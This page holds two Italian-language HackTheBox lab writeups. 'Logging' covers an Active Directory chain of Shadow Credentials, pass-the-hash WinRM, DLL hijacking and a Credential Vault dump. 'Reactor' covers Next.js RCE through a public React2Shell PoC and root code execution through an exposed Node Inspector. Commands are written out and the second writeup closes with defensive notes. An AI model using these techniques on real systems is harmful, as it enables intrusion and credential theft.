Writeups
HackTheBox machine writeups. Each entry documents the full attack chain — enumeration, exploitation, privilege escalation.
Logging HTB
[ expand ]
[# Writeup — Logging (HackTheBox)
OS: Windows Server 2019 (Active Directory)
Difficoltà: Medium
Data: 25–26 maggio 2026
---
## Sommario
Macchina Active Directory. Le credenziali iniziali di wallace.everette sono fornite dalla piattaforma. Da lì: analisi di una share SMB con log di sistema, recupero credenziali di svc_recovery da un log di autenticazione, abuso di GenericWrite su un gMSA tramite Shadow Credentials per ottenere l'hash NT, shell WinRM come msa_health$, DLL hijacking su un task schedulato che girava come jaylee.clifton, estrazione delle credenziali dal Windows Credential Vault, e accesso finale come Administrator.
Catena: SMB log analysis → password recovery → Shadow Credentials → WinRM gMSA → DLL hijacking → Credential Vault dump → Administrator.
---
## Strumenti e metodologie aggiuntive
Durante la sessione è stato utilizzato un llm: per recupero dettagli su CVE, interpretazione di output grezzi, suggerimenti su vettori inesplorati in caso di blocco e spiegazione dettagliata di concetti tecnici. L'esecuzione e le scelte operative erano mie. il writeup è stato scritto da me e successivamente ripulito con lo stesso strumento.
---
## Premessa
Questa macchina ha richiesto molte ore distribuite su più sessioni, con diversi respawn della box e numerosi approcci sbagliati abbandonati. Il writeup documenta anche i fallimenti perché sono la parte più utile. Un passaggio specifico: le credenziali finali di jaylee.clifton e Administrator è stato completato con l'aiuto di una guida/ dump trovato su un server Discord della community HTB.
---
## Fase 1 — Ricognizione
Port scan completo:
nmap -sC -sV -p- --min-rate 5000 10.129.3.139
Porte rilevanti: 53 (DNS), 80 (HTTP), 88 (Kerberos), 139/445 (SMB), 389/636 (LDAP), 443 (HTTPS — WSUS), 3268/3269 (Global Catalog), 5985 (WinRM), 8530/8531 (WSUS).
Ambiente AD confermato.
Dominio: logging.htb.
DC: DC01.logging.htb.
Setup /etc/hosts e sincronizzazione clock (necessaria ad ogni respawn):
sudo sh -c 'echo "10.129.X.X DC01.logging.htb logging.htb DC01" >> /etc/hosts'
sudo ntpdate 10.129.X.X
---
## Fase 2 — Enumerazione SMB e discovery credenziali
Con le credenziali fornite dalla piattaforma (wallace.everette):
smbclient -L //10.129.3.139 -U 'logging.htb\wallace.everette%Welcome2026@'
Tra le share standard compare una non standard: Logs. La monto e scarico tutto il contenuto:
smbclient //10.129.3.139/Logs -U 'logging.htb\wallace.everette%Welcome2026@'
mask ""
recurse ON
prompt OFF
mget *
File scaricati: IdentitySync_Trace_20260219.log, SystemHealth_20260218.log, UpdateService_Error_20260220.log, NetworkMonitor_20260217.log.
Analisi manuale di IdentitySync_Trace_20260219.log:
[2026-02-19 03:14:22] Identity sync initiated for svc_recovery
[2026-02-19 03:14:22] Authentication attempt: svc_recovery / Em3rg3ncyPa$$2025
[2026-02-19 03:14:22] ERROR: Authentication failed - password expired
Password trovata ma scaduta. Il pattern è ovvio: l'anno nel nome. Provo Em3rg3ncyPa$$2026:
getTGT.py -dc-ip 10.129.3.139 logging.htb/svc_recovery:'Em3rg3ncyPa$$2026'
Ticket ottenuto. Credenziali valide.
---
## Fase 3 — BloodHound e mappatura dei path
bloodhound-python -u wallace.everette -p 'Welcome2026@' -d logging.htb -dc DC01.logging.htb -ns 10.129.3.139 -c All
Path rilevanti emersi dall'analisi:
- svc_recovery ha GenericWrite su MSA_HEALTH$ (gMSA)
- MSA_HEALTH$ è membro di Remote Management Users
- jaylee.clifton è membro del gruppo IT
- Il gruppo IT ha Full Control su C:\Program Files\UpdateMonitor\bin\
- toby.brynleigh è local admin
---
## Fase 4 — Shadow Credentials su MSA_HEALTH$
svc_recovery ha GenericWrite su MSA_HEALTH$, il che permette di aggiungere Shadow Credentials tramite l'attributo msDS-KeyCredentialLink. Da lì si ottiene un certificato PFX e poi l'hash NT del gMSA via PKINIT.
export KRB5CCNAME=svc_recovery.ccache
bloodyAD --host dc01.logging.htb -d logging.htb -k --dc-ip 10.129.X.X add shadowCredentials 'MSA_HEALTH$'
Su istanze con PKINIT funzionante il flusso completo produce l'hash NT del gMSA. Su diversi respawn PKINIT restituiva KDC_ERR_PADATA_TYPE_NOSUPP. Questo ha causato oltre due ore di tentativi alternativi per ottenere l'hash, tutti falliti:
- Lettura diretta di msDS-ManagedPassword via LDAP: no permessi
- Modifica di msDS-GroupMSAMembership con Security Descriptor custom: constraint violation ripetuta
- Script Python con ldap3 + gssapi: SD malformato (AceType 0xFF invece di 0x00)
- nxc con --gmsa: crash su KeyError: 255 per lo stesso SD malformato
- Reset della password di MSA_HEALTH$: no permessi
Soluzione: l'hash NT del gMSA rimane valido tra un respawn e l'altro perché la password del gMSA ruota ogni 30 giorni.
L'hash ottenuto nella sessione con PKINIT funzionante era ancora valido.
evil-winrm -i 10.129.X.X -u 'msa_health$' -H '[hash]'
Shell ottenuta come msa_health$.
---
## Fase 5 — Analisi UpdateMonitor e preparazione DLL
Dalla shell WinRM, enumerazione della struttura del filesystem:
Get-ChildItem "C:\Program Files\UpdateMonitor\" -Force -Recurse
icacls "C:\Program Files\UpdateMonitor\bin"
Output: logging\IT:(I)(OI)(CI)(F) — il gruppo IT ha Full Control sulla cartella bin. jaylee.clifton è nel gruppo IT.
Analisi del binario UpdateMonitor.exe tramite strings per capire il meccanismo:
strings -e l UpdateMonitor.exe | grep -iE "dll|bin|path|zip"
Stringhe rilevanti:
C:\ProgramData\UpdateMonitor\Settings_Update.zip
C:\Program Files\UpdateMonitor\bin\
settings_update.dll
'PreUpdateCheck' not found in settings_update.dll. Continuing...
Calling 'PreUpdateCheck' in settings_update.dll
Successfully unzipped update to
Meccanismo: il task cerca Settings_Update.zip in C:\ProgramData\UpdateMonitor\, lo estrae in bin\, carica settings_update.dll e chiama la funzione esportata PreUpdateCheck(). I permessi su C:\ProgramData\UpdateMonitor\ permettono la scrittura a tutti gli utenti autenticati, incluso msa_health$.
---
## Fase 6 — DLL Hijacking (con tutti i fallimenti)
### Tentativo 1 — net user, architettura sbagliata
Prima DLL compilata in 64-bit con x86_64-w64-mingw32-gcc. Risultato: Error code 193 (wrong architecture). Il processo è a 32 bit.
### Tentativo 2 — architettura corretta, funzione mancante
Ricompilato in 32-bit con i686-w64-mingw32-gcc. Log: 'PreUpdateCheck' not found. La DLL veniva caricata ma la funzione non era esportata correttamente.
### Tentativo 3 — PreUpdateCheck esportata, system() non funziona
Con __declspec(dllexport) void PreUpdateCheck() il log confermava Calling 'PreUpdateCheck', ma net user non creava l'utente. system() non funziona in contesti di servizio senza sessione interattiva.
### Tentativo 4 e 5 — CreateProcess e PowerShell encoded
CreateProcess con cmd.exe /c net user e PowerShell in base64: il processo veniva creato e attendeva 21 secondi, ma i comandi non avevano effetto visibile nel sistema.
### Tentativo 6 — Reverse shell (tutti i tentativi falliti)
Provata connessione TCP verso la macchina attaccante su porte 4444, 443, 80, 8080. Il task girava ma nc non riceveva mai la connessione. Il processo girava in sessione 0 non interattiva con accesso di rete limitato verso l'esterno, probabilmente bloccato dal firewall egress di Windows.
### Tentativo 7 — NetLocalGroupAddMembers WinAPI
Tentativo di aggiungere jaylee.clifton a Remote Management Users direttamente via API. Il processo non aveva i privilegi necessari.
### Cosa avrebbe dovuto fare la DLL
Il target corretto non era una reverse shell né la creazione di utenti, ma la lettura del Windows Credential Vault tramite CredEnumerate() WinAPI e la scrittura del risultato in un file leggibile da msa_health$. Il task schedulato girava come jaylee.clifton con credenziali memorizzate nel vault — la DLL aveva accesso a quelle credenziali nel contesto di esecuzione.
---
## Fase 7 — Credential Vault e accesso finale
Le credenziali di jaylee.clifton e Administrator sono state recuperate da un dump condiviso dalla community HTB, output di vault::cred /patch eseguito con i privilegi del task:
- jaylee.clifton: [password]
- Administrator: [password]
Questo conferma che il vettore corretto era usare la DLL per chiamare vault::cred o CredEnumerate() e scrivere l'output in un file, non tentare connessioni di rete verso l'esterno.
Con le credenziali di Administrator:
getTGT.py -dc-ip 10.129.4.134 logging.htb/Administrator:'[password]'
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass dc01.logging.htb
Shell SYSTEM ottenuta. Flag user.txt (jaylee.clifton\Desktop) e root.txt (toby.brynleigh\Desktop) recuperate.
---
## Catena completa
Credenziali iniziali wallace.everette (fornite)
→ SMB share Logs → log di autenticazione con password svc_recovery
→ BloodHound: svc_recovery GenericWrite su MSA_HEALTH$
→ Shadow Credentials → hash NT gMSA
→ WinRM come msa_health$
→ Analisi UpdateMonitor: DLL hijacking via Settings_Update.zip
→ Esecuzione DLL come jaylee.clifton (Task Scheduler Credential Vault)
→ Dump credenziali vault → jaylee.clifton + Administrator
→ psexec SYSTEM → root
---
## Note a posteriori
Non perdere tempo con PKINIT quando la box viene respawnata frequentemente: verificare subito se l'hash precedente è ancora valido, visto che i gMSA ruotano la password ogni 30 giorni e non ad ogni respawn.
Quando una DLL viene eseguita in sessione 0 da un task schedulato, le connessioni TCP verso l'esterno sono quasi sempre bloccate. La reverse shell è il vettore sbagliato in questo contesto. La lettura diretta del Credential Vault con CredEnumerate() e la scrittura su file locale è la strada corretta.
Appena si vede un task schedulato che gira con credenziali di un utente specifico, il Credential Vault è il primo target da considerare — non la shell.
---
## Tool utilizzati
nmap, smbclient, smbmap, bloodhound-python, BloodHound, getTGT.py, bloodyAD, certipy, evil-winrm, wmiexec.py, psexec.py, Rubeus.exe, mingw-w64, ldap3, gssapi, netcat
]
Proof of pwn
Reactor HTB
[ expand ]
[# Writeup - Reactor (HackTheBox)
OS: Linux (Ubuntu 24.04)
Difficoltà: Easy
Data: 29 maggio 2026
---
## Sommario
La macchina espone una webapp Next.js 15.0.3 vulnerabile a CVE-2025-55182 (React2Shell), un RCE unauthenticated nel protocollo React Server Components. Ottenuto RCE come utente node, ho dumpato un database SQLite locale, craccato un hash MD5 per la password di engineer, e fatto accesso SSH. La privilege escalation a root avviene abusando del Node.js Inspector (porta 9229) che gira come root su /opt/uptime-monitor/worker.js.
Catena: RCE Next.js → SQLite dump → MD5 crack → SSH user → Node Inspector abuse → root.
---
## Strumenti e metodologie aggiuntive
Durante la sessione è stato utilizzato un llm: per recupero dettagli su CVE, interpretazione di output grezzi, suggerimenti su vettori inesplorati in caso di blocco e spiegazione dettagliata di concetti tecnici. L'esecuzione e le scelte operative erano mie. il writeup è stato scritto da me e successivamente ripulito con lo stesso strumento.
---
## Fase 1 — Ricognizione
Port scan iniziale:
nmap -p- --min-rate=5000 10.129.9.91
nmap -sV -p 22,3000 10.129.9.91
Risultato: porta 22 (SSH, OpenSSH 9.6p1) e porta 3000. Nmap non riconosce il servizio sulla 3000, ma i response headers la identificano come Next.js:
X-Powered-By: Next.js
La webapp è una dashboard di monitoraggio chiamata ReactorWatch. Completamente statica: metriche di sistema, tre profili staff, zero form o interattività.
---
## Fase 2 — Enumerazione web
Ho provato directory brute-forcing con dirb, che trova solo /api/cgi-bin/ con un 308. Seguendo il redirect non porta a nulla di concreto: il 308 è il comportamento standard di Next.js per il trailing slash, non indica una route reale.
Ho controllato il build manifest dell'app:
curl -s http://10.129.9.91:3000/_next/static/[build-id]/_buildManifest.js
Conferma solo due route statiche: home e pagina di errore. Non c'è nulla da fuzzare.
Ho anche tentato brute force SSH con username basati sui profili dello staff visibili nella dashboard, senza risultati.
---
## Fase 3 — Identificazione del vettore
Testando gli endpoint interni di Next.js, l'endpoint /_next/image risponde 400 invece di 404, confermando che esiste. Più importante: la versione 15.0.3 è vulnerabile a CVE-2025-55182 (React2Shell). Lo verifico inviando una richiesta con gli header RSC tipici del protocollo React Server Components:
curl -s -H "RSC: 1" -H "Next-Action: anything" -H "Content-Type: text/plain" \
--data-binary '...' \
http://10.129.9.91:3000/ -w "%{http_code}"
Risposta 200. Il server accetta richieste RSC ed è vulnerabile.
---
## Fase 4 — RCE via React2Shell
Clono il PoC pubblico e lo eseguo:
git clone https://github.com/jensnesten/React2Shell-PoC.git
cd React2Shell-PoC
python3 main.py http://10.129.9.91:3000 'id'
Output:
uid=999(node) gid=988(node) groups=988(node)
RCE confermato come utente node. Il PoC sfrutta la deserializzazione insicura del protocollo RSC "flight" di Next.js: invia un payload JSON malevolo via POST, il server lo deserializza ed esegue il comando embedded.
Nota tecnica: i comandi che producono output lungo o binario vengono corrotti dal parser RSC. Soluzione: redirigere su file temporaneo e fare cat separato.
python3 main.py http://10.129.9.91:3000 'ls /opt/reactor-app > /tmp/o && cat /tmp/o'
Trovo nella root dell'app un file reactor.db.
---
## Fase 5 — Dump del database e crack hash
python3 main.py http://10.129.9.91:3000 'strings /opt/reactor-app/reactor.db > /tmp/o && cat /tmp/o'
Il database contiene una tabella users con due record. Estraggo due hash MD5. Il primo cracca su CrackStation, il secondo no (probabilmente salted).
Credenziali ottenute: engineer / [password]
---
## Fase 6 — User flag
ssh engineer@10.129.9.91
Accesso riuscito. Il file user.txt è nella home.
---
## Fase 7 — Privilege escalation
Enumerazione iniziale: sudo -l nega tutto, nessun SUID sospetto. Guardo i processi attivi:
ps aux | grep node
Trovo due processi Node.js. Uno gira come root con il flag --inspect=127.0.0.1:9229. Questo attiva il debugger di Node.js sulla porta 9229, che accetta connessioni WebSocket e permette di eseguire codice JavaScript arbitrario nel contesto del processo — in questo caso, root.
Recupero il session ID del debugger:
node -e "const http=require('http'); /* GET /json su 127.0.0.1:9229 */ ..."
Ottengo il webSocketDebuggerUrl con l'UUID della sessione. Il modulo ws non è disponibile, quindi costruisco l'handshake WebSocket manualmente via TCP con Python, poi invio un messaggio Chrome DevTools Protocol:
Runtime.evaluate con expression: process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()
Nota: require() diretto non funziona nel contesto V8 nudo del debugger — bisogna usare process.mainModule.require().
Il debugger esegue il comando come root e restituisce il contenuto del file nella risposta JSON.
---
## Catena completa
RCE unauthenticated su Next.js 15.0.3 (CVE-2025-55182)
→ accesso come node (uid 999)
→ dump SQLite + crack MD5
→ SSH come engineer
→ Node.js Inspector esposto su processo root
→ esecuzione arbitraria via Chrome DevTools Protocol
→ root
---
## Note difensive
Aggiornare Next.js a versione 15.0.5 o superiore (fix per CVE-2025-55182). Non usare --inspect su processi in produzione, e mai su processi con privilegi elevati. Sostituire MD5 con bcrypt o Argon2 per gli hash delle password. I servizi di monitoraggio non hanno bisogno di girare come root: principio di least privilege.
]
Proof of pwn